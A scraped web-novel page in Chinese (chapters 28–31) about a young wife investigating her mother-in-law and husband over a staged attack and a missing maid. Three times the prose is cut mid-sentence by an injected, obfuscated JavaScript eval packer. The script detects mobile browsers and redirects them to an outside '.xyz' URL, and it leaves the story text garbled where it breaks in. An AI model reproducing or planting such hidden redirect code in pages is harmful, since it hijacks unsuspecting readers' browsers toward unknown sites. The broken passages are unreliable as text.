除了回来的第一晚，她哭干了眼泪，也哭断了过往所有的情分，再也没有因此失态过。 萧元绰不知缘由，只好一下下轻抚她单薄的脊背安慰：“不怕，不哭，阿宁乖，表妹乖……” 彼时归宁觉得头上的那支累丝嵌宝石金凤簪那样的重，重到可以压垮她对未来所有的期许；可又那么的明亮，足以照清某些阴暗的心思，让她毅然决然的想要逃离。 直到回府，归宁的哭泣才渐渐止住，彼时眼睛已经哭肿。 萧元绰捏了捏她小巧的鼻子笑道：“我抱你回去吧，你这个样子让府里人瞧见了，还以为我欺负你了呢。” 归宁拢了拢散落的发丝，拿绣帕擦了擦脸，哑声道：“不用。母亲还看着呢。夫君走在前面，替我遮挡些就好了。” 见她坚持，萧元绰也不好再说什么，先行下了车，回身又将归宁扶下车。本想牵着她的手回院子，见她躲开自己的拉扯，有些不解道，“怎么了？” 归宁吸吸鼻子，“夫君走前面。” 萧元绰苦涩一笑，转身走在前面，两人一前一后回了孤芳苑。刚刚坐稳，邓氏就差人来喊萧元绰。没说什么缘故，只说太夫人让他过去一趟。 刚回来时，秦管事就拦住萧元绰递给他一份文书，是衙门里的公事。他晚些时候还要去一趟衙门，离开前嘱咐归宁道：“中午你自己吃吧，我去一趟母亲那里，下午去衙门。姚表弟还在这里，晚上我若回来晚就过不来了，若是早一些，我再来。” 归宁很明事理地点了点头，“夫君去忙吧，晚上天冷，别来回跑吹了冷风。” 萧元绰拍了拍归宁的肩，起身离开了。 那厢南烟见归宁肿着眼回来，冷着一张脸道：“大爷又做什么了？” 归宁摇了摇头，接过她递过来的热帕子敷脸，道：“不是他。这几日大姐姐家发生的事有些怪异，你让我想想。” 冷静下来之后，归宁隐隐觉得哪里有些不对劲。 28. 疑点 归宁用热帕子敷了脸，只简单地吃了几口鸡丝粥，就去歇中觉了。 睡梦中总觉得有人在自己耳边吹气，翻了几次身，这种感觉依旧在，陡然睁开眼，瞧见二姑娘萧元昕趴在床边，一直守着她。 见她醒了，一脸兴奋道：“大嫂嫂，你瞧瞧，这是姚三哥送我的小玩意儿。” 言罢，将一坨灰扑扑的东西放在床上，瞧着它“呱呱”地向前蹦了几下。 归宁好奇，拿起来一看，才知是一只用木头做的癞蛤蟆，里面装了发条，拧紧之后，可以驱动□□向前跳跃，每跳跃一次，里面摩擦出声，发出“呱呱”的响声。 东西做得不错，就是不怎么赏心悦目，毫不客气道：“东西做得真丑。” 元昕抿嘴笑道，“是丑。不过姚三哥说，傻子能有多好看。” 归宁不解，扬眉问：“傻子？” 元昕笑道：“嫂嫂看它一蹦一跳喊的不是‘傻瓜、傻瓜’？” 归宁明明只听到了“呱呱”的响声，这也太糊弄人了，笑道：“你真好骗，他说什么就是什么？” 元昕道：“姚三哥说若是有人惹我不开心了，就拿它出来骂几句解气，不要和傻瓜较劲。听院子里的姐姐说今天嫂嫂不开心，不妨让它多骂几句，撒撒气。” 原是在哄她开心，归宁伸手摸了摸元昕的小脑袋，笑道：“嫂嫂没有不开心，只不过有些触景生情罢了。” 瞥见这个丑东西，继续打趣元昕，“这样丑的东西怎好意思送女孩子？香冬，你去给姚三爷说一声，就说做个好看点儿的东西，这东西都拿不出手。” 说话间见元昕耳边红了一片，归宁也忍不住偷偷扬起了嘴角。 她真心希望元昕这一生能接受姚瑾若，不要似之前那般嫁给什么锦衣卫指挥使做妾，比她还短命。 姑嫂说话间，南烟端来了元昕最喜欢吃的糖蒸酥酪、枣泥山药糕、杏仁豆腐、豌豆糕、荷花酥等点心，元昕以为都是给她的，高兴地凑过去。 谁知南烟将食盒盖好，塞到她手上，笑道：“这么多你也吃不了，给姚三爷送一些过去。” 元昕自是不愿意一个人过去，拉着南烟的手，偏要她陪自己过去，南烟笑道：“还是让你身边的小丫头燕儿陪你过去吧。”她过去，姚瑾若一眼就能瞧出是夫人让准备的东西。 元昕还小，心思单纯，想不了这么多，她们就得多替她考虑一些。 这边送走元昕，南烟见屋里没人，三步两步凑到归宁面前，急切道：“夫人是发现什么了吗？” 自从出了吴明之事，又证实簪子有问题，再想起自己母亲无缘无故丢了性命，南烟对邓氏和萧元绰愈发的不喜，巴不得天天有新线索挖出来。 归宁轻啜了一口茶，缓缓将今天在赵家听说的事一一说给南烟。 南烟心思细腻，想法和归宁一样，“大姑奶奶怎么不报官呢？她都能设下那样的毒计毁掉乐巧姑娘，这会子怎么在乎乐巧姑娘的名声来了。” “她自己已经回来了，将自己和赵太太经历的事瞒下不说，谁又会去说呢？下人的身契都在她手上握着，婆婆和她一车，还怕什么？” “难不成大姑奶奶经历了上次的教训，被赵太太镇住，学乖了？” 归宁缓缓摇头，“夫君也支持报官，可婆母却只字未提。”这也是归宁甚是疑惑的一点，以邓氏对女儿的疼爱，怎会白白放过那些歹人？不报官明显是为了乐巧的名声，邓氏又不是身在赵家，不似萧元荷那样要在婆婆跟前伺候，她怎么也不说话呢。 南烟都能想到的说辞，邓氏不可能想不到，到底是为什么呢？ 归宁沉吟道，“有一种可能非常确定，就是报官对她们没好处，也就是抓住这些歹人对她们更不利。” 南烟听完，立刻惊出一身冷汗，倒吸一口凉气，道：“难道……难道……” 抓住这些歹人于她们不利，也就是她们和这些歹人可能有关系，换言之，这些歹人恐怕就是她们安排的，目的就是乐巧。她和郑太太只是障眼法，所以那些歹人见萧元荷摔了出来，什么都不要，转头就跑了。 这样完全说得通，可也有些站不住脚。萧元荷自己遭了这么大罪，单单只是为了除掉乐巧这么简单？乐巧就在赵府，身份又不高，她作为赵家的二奶奶，有的是功夫慢慢磨，何必出此险招？ 南烟想了想道：“夫人不是说大爷支持报官吗？不如借机问问他？” 归宁暗暗思忖：如果夫君也改口不支持报官或者囫囵过去，那里面真的就是另有门道了。而且他们刚回府，夫妻俩还没喝上一口热茶，邓氏就让夫君过去，显然是有急事要说，能说的急事恐怕就是大姐姐这件事了。 且不论归宁猜的对错与否，今晚萧元绰被公事所绊，回来时已经很晚。 姚瑾若还留在他的书房，除了吃饭睡觉如厕，几乎就没挪过地方，不过他手里的那个西洋钟已经慢慢组好了，不似之前那样，是一堆散乱的部件。 萧元绰招呼姚瑾若和他一起喝两杯，“弄不好就算了。” 姚瑾若几日不收拾，下巴已经冒出了青茬，这次他吃饭悠闲了许多，眼中满是自信，“放心，明天就修好了，保证给你个惊喜。” “留在这儿也挺好，每天还有你二妹妹送点心吃。” 瞧着他那没出息的样子，萧元绰哼了一声，“你这么不上进，一介白丁布衣，我二妹妹嫁你可惜了。” 马上要大功告成，姚瑾若神气道：“早晚让你瞧瞧我手艺的厉害。你们读书人，也就是一张嘴皮子而已。” 他改进的鸟铳，瞄准的精度可比神机营那批人手中的东西好太多，打满山乱跑的山鸡一打一个准。 两人话不投机半句多，吃完了夜宵，各自去歇了。 明日就是小年了，就是修不好，也要放姚瑾若回姚家吃团圆饭了。 晨起，刚梳妆好的归宁就给命人将灶糖送给各院，吃了早饭，又指挥人扫尘土、贴窗花，晚间还要祭灶神、吃团圆饭，今天一整日都很忙。 小年休沐，昨夜萧元绰睡得晚，直到辰时才被“当当当”的声音吵醒，似有人在自己耳边敲钟。睁开眼一看，发现那只西洋钟完完整整地出现在自己书房的四方桌上，里面摆轮还在摇摆。 见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541664|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他迷迷糊糊地醒来，早起就忙碌到现在还没顾上梳洗的姚瑾若，披着大氅，头发散乱地走了进来，懒散地靠在多宝阁前，打了个哈欠道：“修好了。” 萧元绰看着摇摆的西洋钟，问道：“它之前怎么不动？” 姚瑾若打着哈哈笑道：“这东西三四天就要上一次发条，不上发条它怎么能走？真是个好东西，能精准报时。” 他还是第一件这样新奇的玩意儿，走到萧元绰床前，笑意中带有几分谄媚，“你从哪儿弄来的这个好东西？给我说说，我和这个师傅好好学学。” 萧元绰横了他一眼，“这叫西洋钟，是姑母手下的商队从西洋那里带回来的。” 姚瑾若连连叹道：“表姑真是偏心，这等好东西只惦着你。我去给表姑说一声，下次得了新奇的洋玩意儿先去给我说。” 萧元绰朝着书桌上的一个木盒子努了努嘴，“那里面有不少原石和璞玉，要拿两块去研究研究？” 姚瑾若哼了一声，“你又哄骗我。小时候就是哄我给你做东西，转头你就送给小表姐哄她开心，别当我不知道。” 姚瑾若比归宁还小一岁，不过家里对他寄予厚望，小小年纪就让他跟着萧元绰一起读书，怎奈他童心未泯，玩心太重，于读书一事上始终不开窍。 萧元绰也不客气，直接揭了他的老底：“你可别没良心，分明是我帮你抄课业赚来的。” 提起这个姚瑾若气就不打一处来，“我让你把字些丑一点，这样看着才像我的吗。可你呢，写得工工整整，生怕先生看不出来，害得我好一顿罚。” 萧元绰笑道，“谁让你做鬼盒，半夜冒出一个青面獠牙的鬼头来唬人，吓得阿宁哇哇大哭，我那都是轻的。没去表舅母面前告状，你就烧高香吧。” 姚瑾若道：“一个鬼盒，一个魔盒，你自己挑的，怪谁？” 若是翻旧账，且有的是嘴仗要打，萧元绰不欲多纠缠过往，遂道：“我见你画的那些图，字迹还挺工整的，你仔细写能练好。” 姚瑾若轻嗤一声，伸出两个手指头道：“统共就那么两三个字，我总不能因为几个字坏我一张图吧，就是描要给它描好看了。” 姚瑾若做任何东西都有设计图，图纸工整，尺寸考究，分离不差。要只是给这个西洋钟上发条，他早就修好了。他不过一时好奇，想看看里面是什么东西，就给拆了。 边拆边画图，琢磨着自己能不能造出一个来。折腾了几天，发现零碎的小部件太多，机芯很复杂，恐怕有些难。 正为此遗憾之际，总想找点儿东西弥补，不客气地从萧元绰口中的那个木盒里挑了几块上好的原石，拿在手里颠了颠，“就当是给我的谢礼了，走了。” 萧元绰见他一副胡子拉碴、不修边幅的模样，要是这样回了盛昌伯府，家里人还以为萧府虐待他了呢，忙起身道：“你收拾收拾再回去，我去给你找身衣服。大过年的，把自己折腾得活像一个叫花子。” 姚瑾若争辩道：“我这叫废寝忘食。” 这边姚瑾若收拾妥当，萧元绰正欲送他出府，转头见垂花门旁的回廊转角处藏了两个人…… 29. 羁鸟出林 原是秋姨娘和元昕。 按规矩，姨娘不可出来见客，萧元绰看到她，眼光微沉，正欲开口，秋姨娘先福了福身子道：“大爷，是夫人准妾身过来的。” 她一直想见见老太太生前指定的姑爷，怎奈一直没有机会。今日夫人开了恩，准许她来送送客。 她听太夫人身边的人说，姚三爷吊儿郎当，拱肩缩背，贼眉鼠眼，是出了名的纨绔。当着众人的面，被书院的先生赶了出来，不仅不以为耻，还天天骑着马招摇过市，整日以招猫逗狗、猎山鸡为乐。 不知老太太怎么想的，为着安抚自己娘家人，是要把二姑娘往火坑里推呀！ 这样的话，秋姨娘暗地里听去了不少。每次她去给太夫人请安，都能听到她屋里人悄悄议论。 几次她想开口和夫人说此事，又怕伤了夫人的心，欲言又止。夙夜难寐间，暗暗恨上了老太太。 便是伯爵府的公子，这样的人，她也瞧不上。听说这几日姚三公子就在府上，好求歹求，夫人才准许她来见一见。 今日一见，才知不似传说中那般不堪。 身形修长，与兰枝玉树的大爷不相上下，长相虽不比大爷俊秀，也自带一股英气，更难得是爱笑，亲和近人，见到秋姨娘这样身份尴尬的人，也恭恭敬敬地拱手见礼：“姨娘好，元昕妹妹好。” 先不论其他，单从长相上，已让秋姨娘改观不少，笑道：“我和元昕做了些点心，送给三公子尝尝。” 姚瑾若上前接了秋姨娘手上的东西，离得近了，更能感觉到这个人从内到外散发出来的暖意。 今日街上会很热闹，可能东街还有杂耍，对常年闷在内宅的萧元昕道：“我今日无事，不如我带你去街上买烟花。” 本就是老太太定下的亲事，秋姨娘见人没有传言中那般不堪，心里的芥蒂已经解开，没有多言。 萧元昕看向萧元绰，低低唤了一声，“大哥哥……”等他的示意。 萧元绰笑道：“你要去问问你嫂嫂，看她准不准。”姑娘家出门总要带些东西，身边还要跟着丫头，她就这样出去，有些不成体统。 萧元昕闻言，提起裙摆一溜烟地跑去了后宅。 果真，归宁没有阻止，而是怕她身边人服侍不周，让南烟陪着去。还特意命人找了一件大红色貂皮斗篷，换上暖和的鹿皮靴，踹着暖手炉，又让南烟准备好手炉里用的炭火、碎银子等物，才放她们出门。 姚瑾若等了小半个时辰，才远远见一个毛茸茸的红球慢慢腾腾地滚了过来，不由笑道：“哪里有这么冷。” 萧元绰送他们出门，叮嘱道：“天黑前务必把人送回来，否则我们就去姚府要人了。” 姚瑾若信誓旦旦的保证，可到了街上，见元昕像一只重获自由的金丝雀一般兴奋，看什么都新奇，觉得出来一次不容易，不如晚间去前门看烟火。今日是小年，到了三更天才开始夜禁。 姚瑾若带着二人直往人多的地方挤，一会儿去卖货郎的摊前看东西，一会儿凑近人堆里看杂耍，一会儿又跑去墙根底下看人赌棋…… 玩得不亦说乎。 走到肚子饿了，姚瑾若也不张罗着找个酒肆吃饭，而是带着几人去街边吃小食，各色各样的吃食，每样来一点，用油纸包着，边走边吃。 府里的东西虽也好吃，可比不得街上花样繁多，元昕吃得都打嗝了，还在往嘴里塞，被身形高大的姚瑾若一把抢了过来，“小贪吃鬼，一会儿还有更好的，留着点儿肚子。” 元昕眼巴巴瞧着他把自己吃了一半的蟹黄包一口给吞了。 南烟也跟着仆随主变，全然顾不得府里那套繁琐的规矩。就在几人吃饱喝足之际，瞧见一位摊贩在辱骂一个衣衫褴褛的女子，“没钱你乱拿什么？瞧你这幅皮囊不错，不如做我小老婆，天天让你吃香的喝辣的。” 言罢，伸手就摸上那姑娘脏兮兮的脸颊。 南烟循着声音望过去，那姑娘的容貌隔着窜动的人头撞入眼中，冷不丁地撞出一身冷汗。 眼见就要被人占便宜，那姑娘动也不动，就任由卖包子的摊贩在她身上摸来摸去。 直到那手越来越放肆时，姑娘才伸手一把打落。走到蒸笼前，伸出脏兮兮的手，一手抓起两个包子，就往嘴里塞，低低道：“包子钱已经付了。” 那汉子不依不饶，拦住女子去路道：“什么时候付的？” 那姑娘急得狼吞虎咽，生怕晚一步手里的东西就会被人抢走。她吃得越急，汉子越是不肯干休，一脚将她踹倒在地。 饶是如此，姑娘还是牢牢护住手里的吃食，哽咽道：“你刚刚占我便宜，就不能我占你点儿便宜，吃你两个包子？” 她想要脸面，可脸面填不饱肚子，她只能丢掉礼义廉耻，换一个活下去的机会。 她咽不下心中这口气，不管付出什么样的代价，她都要活下去。 那彪形大汉见她哭得楚楚可怜，知道这是个走投无路的主，兴许逼得急了，让她干什么都行，上前一脚踹飞她护在手中的包子，弯下腰皮笑肉不笑道：“不如委身于我，吃什么都有。” 那女子抱着头，连连饶命，“好汉饶了我吧，求求你了。” 周围挤满看热闹的人，南烟正欲上前，被姚瑾若拦住了，他抢先一步，掏出一小块碎银子，扔给卖包子的汉子，道：“算我的，大过年的，积点儿德，饶了她吧。” 见姚瑾若要上前去扶人，南烟一把扯住他的衣袖，低声劝道：“男女有别，姚三爷先带二姑娘去其他地方逛逛吧，我来处理。” 姚瑾若回头，见元昕闪着亮晶晶的大眼睛看着他，用略带稚嫩的声音道：“姚三哥是要带她回府吗？” 姚瑾若噗嗤一笑，“为什么这么讲？” 萧元昕小脸微微皱起，“话本子里的英雄救美都是这么写的。”风流倜傥的公子哥救了落魄街头的世家女，世家女芳心暗许，公子哥怜香惜玉，成就一段风流佳话。 姚瑾若属实想不明白，这丫头的小脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541665|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袋瓜里都装了些什么东西，摇头笑了笑，“没有的事。” 萧元昕眨了眨亮晶晶的大眼睛，声音稚嫩道：“可是她真的好可怜，这么冷的天，穿这么少，饿着肚子四处乞讨，还被人欺负……” 姚瑾若听她说得有理，很认真道：“不如这样，我买下来，送到萧府给你当个烧火丫头，你看怎样？” 南烟见二人杵着不走，打趣道：“萧府买丫头竟让姚三爷破费，这让我们管家夫人的脸往哪儿搁？还送到二姑娘的院子里，是我们萧府缺丫头，苛待庶出的姑娘了？要不姚三爷买了，送去你自己的府上，也别连带我们萧家被人笑话。” 被她这么一激将，姚瑾若不敢再乱发慈悲，摆起了主子的款儿：“你留下来处置，我们往前边去看看。” 随即伸出手，揪着萧元昕衣服的后襟，将她拽出了人群，“想吃什么，我给你买。” 萧元昕看那姑娘实在可怜，一步一回头，又听南烟道：“二姑娘跟着姚三爷去看烟花吧，我留下来处置，大过年的，既然我们遇到了，不会让这姑娘饿死街头的。” 听了这话，萧元昕才安下心来，跟着姚瑾若去看烟花。 可走出一段路程之后，姚瑾若又故意逗她：“看完烟花可能要很晚喽，你大哥哥让你天黑前必须回去，不怕他骂你？” 元昕经此敲打，眼中的兴奋消失得无影无踪，苦着脸道：“那，那咱们回去吧。” 姚瑾若抿着嘴偷笑，“不怕，我帮你挡着。” 这厢二人有说有笑，在人群里慢慢走着。 被落在后边的南烟将那姑娘扶起来，拍了拍她身上的土，把两个干净的包子递给她，低声道：“吃吧。” 那姑娘认出了南烟，有些窘迫地低眉不语，将散乱的头发把落下几缕盖住脏兮兮的脸颊，期望她认不出自己来。 南烟将她的一举一动看在眼里，有些唏嘘道：“姑娘怎么弄成了这个样子？” 这人不是别个，正是乐巧，二人曾在萧家见过一面。 不问则已，一问都是血泪。 南烟深知这里不是说话的地方，也担心姚瑾若看清这个人的容貌，出去乱讲，这才把人拦下了，找个由头将他支开了。 见姚瑾若和萧元昕二人越走越远，南烟悄悄塞给乐巧一块碎银子，嘱咐道：“乐巧姑娘若是信得过我，就去东胜胡同的倚梅园门口等我。” 怕乐巧不信任她，南烟又道：“我家夫人前几日去赵家做客，听说了姑娘的事，回来给我说了一嘴。我不会害姑娘……” 乐巧在京城，却不敢回赵家，这是疑点之一。还有如果她和夫人猜测没错，萧元荷如此对待乐巧，定然是有原因，她们或许能从乐巧身上探听些秘密。 就算是她们猜错了，一无所获，救下乐巧也能卖赵太太一个人情。 不过这都是南烟的一厢情愿，乐巧到底愿不愿意相信她，还另当别论。南烟不能让前面两位主子等太久，匆匆说了几句话，就和乐巧分开了。 30. 寻人 话说，萧府晚上的团圆宴已经开始，众位主子落座，老伯爷生前的两位姨娘也有幸被排了座位，和主子们一桌，唯不见元昕。 当年归宁外祖父在世时，萧家还没有分家，每次家宴都是热热闹闹坐几大桌子。自萧庄毅过世之后，萧家嫡长子也染病身亡，那时候归宁的外祖母就做主分了家。 分了家之后，由皇上做主，认了继子入嗣，嫡支才得以延续，不过就是没有之前几代人聚在一起的热闹了。为了凑人气，姨娘也被请了出来一起上桌。 这是归宁的决定，萧元绰点了头，邓氏笑盈盈道，“你安排就是了。” 姚瑾若事先让人给府里送了信，说要带元昕去看烟花，秋姨娘见元昕不在，也没说什么，反而脸上还露出几丝喜色，心里对未来姑爷很是满意。 齐姨娘自儿子过世之后，就一直郁郁寡欢，行尸走肉般熬日子。邓氏可怜她，不让她在跟前伺候，也免了她的晨昏定省，每次见面还好心的安慰几句。 一家人安安静静的用完晚饭，一起去拜了灶王爷。邓氏记挂萧元荷的事，没有心情，早早地回了院子。 两位姨娘也互相搀扶着回了屋。 萧元绰送归宁回孤芳苑，刚想和她亲近亲近，不想归宁面色沉重，将一本账册递了过来，“大过年的，本无意于惹夫君烦心，不过纸包不住火，迟早的事，还是让夫君瞧瞧为妥。” 弘文伯府萧家，家底并不算丰厚，分完家之后，就更单薄了，除了老太太自己带来的嫁妆，原萧家的祖产就只剩下应天的两个庄子。 多亏老太太多年经营有方，不仅买了不少铺面出租，又在应天老宅购置了不少田地，渐渐让府库丰盈起来。后来归宁丧父，宋娘子带着归宁来投奔，每年都给伯府不少好东西，目的就是让这里的人知道，归宁是主子，不是寄人篱下的孤女。 可惜萧元绰离京这几年，邓氏仗着吴明管理库房，悄悄地把不少好东西拿出去变卖了，还用赝品顶上，掩人耳目，再加上那一千亩地的亏空，还有萧元绰回京之后各种走动，让丰盈的伯府有些吃紧了。 前世，邓氏嫁祸秦管事成功，一切都赖在了秦管事头上，秦管事一家被逐出伯府。考虑秦家对萧家有恩，归宁错在用人不察，主动用自己的嫁妆把这些亏空补上了。 而今世，这一切都实实在在算在伯府的明账上，再有那些卖掉的贵重东西，有些是萧家祖上传下来的，是萧家的门面，若是让萧家耆老知道，定要大闹一场。 这些归宁知道，萧元绰也知道，吴明不知轻重，将自己的性命搭了进去。有吴明这个罪魁祸首当挡箭牌，足以堵住其他人的嘴。 萧元绰只需拿出足够钱财来，把东西慢慢赎回来就是了，闹不出什么大事来。只不过这样下来，伯府的账面上就更加吃紧了。 归宁道：“咱们府上也不是那等奢靡浪费的，按照眼下铺面收租和庄子上的收成，维持现在的体面没有问题，只不过其他的可能要吃紧些。山东庄子上的事夫君要抓紧查一查，不能任由这么下去。” 萧元绰点了点头，“我知道了，辛苦你了。过了今年十五，我就按你说的，派人去山东悄悄看看。还有这几年应天庄子的收租都在我这里，应天那边的族学、祭祀还有官场上的人情走动，都从我这里面出，不从公中走账。” 外祖母留下的家底还算丰厚，母亲每年孝敬的东西也多，萧元绰又是一个精明的人，伯府不会因此垮下来。归宁只是想借此提醒萧元绰，邓氏不能再毫无节制地帮衬娘家，山东的庄子要尽快理清。 说完这些事，归宁又扯了两句闲话，“我看母亲这两日忧心忡忡，恐怕是为大姐姐的事情神伤。夫君，有句话我不知道当问不当问。” 萧元绰拉过她的手，温声道，“咱们之间用不着这么谨慎客气，你说就是了。” 归宁犹豫道：“大姐姐受了这么大罪，听说乐巧姑娘到现在也没找回来，还是报官吧，把这些歹人绳之於法，也免得他们继续作恶。再拖下去，恐怕仅有的线索也断了。” “女子的名声虽要紧，可命更要紧。把大姐姐摘出来，也不提乐巧姑娘的名字，就说遇到了歹人袭击，借助官府的力量，怎么也能发现些蛛丝马迹。” 萧元绰暗暗一叹，握着归宁的手在掌心摩挲片刻，道：“人多口杂，已经过去这么久了，报官也未必有用，再等等吧，或许能找到乐巧。” 这话多少有些敷衍，归宁顺从地点了点头，淡淡一笑道，“刚才也只是我的愚见，就是闲来和夫君说说嘴。” 归宁不仅机敏，还很识大体，这让萧元绰很满意，手上稍稍用力，将人抱坐在自己腿上。归宁再三推脱，还是抵不过他力气大，只听他在耳边道：“咱们已经成亲了，这里又没外人。” 萧元绰见归宁不自在，也没有太过分，只是静静地抱着她有一搭没一搭地闲聊几句，想让她放松下来。 不多久，就听到外面传来脚步声，归宁慌忙从萧元绰腿上下来，坐在临窗的炕边。香冬一路小跑着进来通报，“大爷，听前院文轩说，姚三爷将二姑娘送回来了，就在垂花门那儿等着呢。” 萧元绰起身，恨恨道：“就知道姚三不靠谱，现在才把人送回来，看我不好好骂他。” 言罢，迎着寒风出门去迎，走到垂花门门口，见南烟在一旁提着灯笼，萧元昕乖巧地趴在姚瑾若的背上睡着了。 她是被人一路背回来的。 萧元绰见人睡得迷迷糊糊，也不好再唠叨姚瑾若，挥挥手让他赶紧滚。抱着萧元昕，送回了归宁的孤芳苑，今夜他又要回来睡书房了。 因为母亲派人来找他。 萧元绰来到邓氏诵经的佛堂，见他进来，看门的婆子将房门掩上，站在屋外守着。 屋内陈设简朴昏灯如豆，案前供奉的佛祖慈眉善目，佛堂下祈福的邓氏却一脸愁容。 “绰儿，乐巧那丫头被那群废物弄丢了……” 萧元绰心头一紧，“有没有被她发现什么？” 邓氏面色不虞地长叹口气：“不知道，不过她知道的应该不多。只不过姜妈妈是不能留了，她知道的太多。这是咱们府中的事，就别让外人插手了。” 吴明身死，邓氏心里亏欠，还想留下姜妈妈母女，让她们在庄子上安稳度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541666|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日。可最近京师发生一件事，让她决定斩草除根。 邓氏对自己有恩的人，贯来有几分慈心，但为了保帅，她还是会果断弃车。 萧元绰道：“母亲宽心，我派人去处置。” 邓氏长叹一口气又道：“你在江南多年，有没有听说过医术极好的妇科大夫？” 萧元绰听母亲这么问，心头一凛，“母亲身子不适？” 邓氏摇头，“不是我，是你大姐姐。这次落下了病根，以后恐怕很难再有孩子了。你也知道，简哥儿体弱，若只有这一个孩子，你大姐姐心里不踏实。” 萧元绰道，“之前听说过一个年轻大夫，医术极好，还深受祖母喜欢，阿宁也一直派人在找他，我问问阿宁，也帮忙多派些人手。” 邓氏道：“这些内情万不可让阿宁知道，更不要让你姑母听到半点儿风声。” 萧元绰很自信道：“母亲多虑了，阿宁不过是内宅女子，姑母去了应天寻表弟，分不出心来。” 邓氏冷冷一笑，“这么多年了，还惦记着那没福的孩子呢，真是可叹呀。让她存个念想也好，宋家的生意还指着她操持呢。” 至于以后宋家的产业最终落入谁手，那还真不一定。 说完这些，萧元绰也没心思再回后院，直接去了书房歇息。 而南烟回来之后，迫不及待地将众人遣退，独留周嬷嬷和自己在跟前伺候，将遇到乐巧的事说了。 归宁惊了半晌，才缓过神来，道：“你安顿到母亲的宅子了？没人注意你吧？” 南烟道：“我趁姚三爷陪着二姑娘看烟花的空档，悄悄溜了，安顿完乐巧姑娘才返回去找他们。不过耽搁的时间有些久，他们在那里等了我很长时间。不过以姚三爷的性子，应该不会多想。”姚瑾若向来随性，除了对工匠活有兴致，其他都懒得多问。 归宁迫不及待问，“她和你说什么了吗？” 南烟喝了一口茶，润了润嗓子道：“她这几日担惊受怕，一路乞讨，吃了不少苦，思绪混乱，能回想起来的不多。只说有人要买凶杀她，说她知道了不该知道的事。” 归宁抚弄着怀中的初一，又道：“她有没有说这个人是谁？” 南烟蹙眉道：“乐巧对咱们也有防备，不过我看她那样子，极有可能就是大姑奶奶。赵太太那么疼她，应该不是因着赵家的事。” 归宁也觉得极有可能与萧元荷有关，可她就是寻不到关键的突破点，叹息道：“要是能见到姜妈妈就好了，她应该知道很多。”凭借乐巧和姜妈妈两个人知道的内情，归宁坚信，自己会有新发现。 归宁有些后悔：“我应该早一些去寻姜妈妈。” 周嬷嬷兜头泼了一盆凉水：“寻到也未必有用。若是姜妈妈是那等嘴上不牢的人，吴明死之后，就该被灭口了。” 如今姜妈妈和她的女儿在庄子上活得好好的，说明在邓氏心里，她是个靠得住的人。 万一归宁心急，去找了姜妈妈，极有可能还未从姜妈妈口中套出有用的信息来，就先暴露了自己，要是让萧元绰知道自己的疑心，恐怕待她就没有这么温情了…… 31. 送礼 不过现在有乐巧的事做引，归宁又不想放弃这条线索，心里有些雀雀欲试。 南烟看出了归宁的心思，为难道：“恐怕我们连姜妈妈的人都找不到。姜妈妈是太夫人的人，又是大爷亲自派人安置的，我们从哪里去找？” 归宁揉了揉额角，凭借前后两世的记忆，将邓氏和萧家名下的庄子和宅子都默默盘点了一遍，觉得有两个地方最可疑。 归宁拿起案上的笔，随意写了两处地方：“婆母在城东有一处陪嫁的庄子，估计有一百亩良田；后来舅舅在西山买了一片山林送给婆母，我觉得这两处可能性最大。” 周嬷嬷静静地听归宁分析完，点了点头道：“我觉得在西山的可能性最大，山里边往来不便，姜妈妈就是想偷跑出来也不容易。” 自长辈去世之后，萧元绰一直在应天，京师的产业都是归宁打理，他手上有什么庄子宅子，归宁很清楚。只有邓氏的陪嫁和老伯爷生前送给邓氏的产业，归宁无法插手。 不过就是能猜到在哪里，她们也望尘莫及，“只是西山那么大，我也不知道具体在哪个方位，嬷嬷可听说过此地？” 周嬷嬷道：“老婆子都没去过西山，哪里知道？不如问问秦管事，他或许知道些，兴许当年的山林还是他们几个管事一起帮忙买的。” 归宁看向南烟，叮嘱道：“事情尚不明朗，不可对秦管事透露太多。” 南烟却道：“我舅舅可能知道在哪儿，可咱们派谁过去见人呢？” 南烟的担忧极有道理，吴明陷害秦管事不成，反而丢了性命。姜嬷嬷对秦管事恨之入骨，若是秦家人过去，不仅什么都问不出来，还极有可能暴露自己。 若是萧元绰知道秦管事找过姜嬷嬷，很容易顺藤摸瓜查到归宁这里…… 归宁对时下自己的情况有非常清晰的认知，她如今最大的优势就是，萧元绰对她还没有警惕之心。一旦让他有了怀疑，凭借萧元绰的能耐，可以制造出无数假象，将她牢牢困死。 需要悄悄地摸上西山，说明要有好身手；万一被人发现，还能不被西山庄子上的人认出来，那得是一个生人，归宁去哪里找这个人呢？ 归宁认识的外男，萧元绰都认识。 